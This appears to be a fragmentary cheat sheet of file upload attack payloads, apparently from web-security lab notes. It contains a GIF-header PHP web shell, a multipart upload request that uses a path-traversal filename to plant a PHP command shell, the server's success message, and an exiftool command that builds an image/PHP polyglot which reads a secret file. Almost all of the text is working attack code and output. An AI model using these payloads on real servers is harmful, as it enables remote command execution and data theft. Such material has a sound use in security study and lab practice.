File upload
Last updated
GIF89a;
<?
system($_GET['cmd']); # shellcode goes here
?>-----------------------------37439413615083975161695220246
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"
Content-Type: application/octet-stream
<html>
<body>
<?php system($_GET['cmd']); ?>
</body>
</html>The file avatars/../exploit.php has been uploaded.<p>exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" test-412579532.png -o
polyglot.php